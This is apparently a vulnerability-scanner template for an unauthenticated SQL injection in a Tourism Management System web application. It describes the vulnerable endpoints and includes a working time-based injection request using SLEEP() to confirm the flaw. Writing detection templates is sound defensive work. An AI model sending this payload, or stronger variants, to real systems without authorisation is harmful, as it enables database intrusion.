id: CVE-2026-86282

info:
  name: "Tourism Management System - SQL Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    jaychouchannel Tourism-Management-System (the `travel` application) exposes unauthenticated
    CommonController endpoints (annotated `@IgnoreAuth`) that pass the table/column path segments
    straight into MyBatis `${}` string substitution. The `/group/{table}/{column}` mapping builds
    `SELECT ${column} , count(1) total FROM ${table} group by ${column}`, so an unauthenticated
    attacker can inject arbitrary SQL through the `table` and `column` path variables (also reachable
    via `/value`, `/cal`, `/option`, `/follow` and `/remind`). This template confirms the flaw with a
    read-only time-based payload that forces a `SLEEP()` derived table to be materialised.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-86282&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tourism-management-system&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
    cve-id: CVE-2026-86282
    cwe-id: CWE-89
  metadata:
    verified: false
  tags: cve,cve2026,tourism-management-system,sqli,sql-injection,unauth
http:
  - raw:
      - |
        @timeout: 20s
        GET /travel/group/(SELECT(SLEEP(6)))x/1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and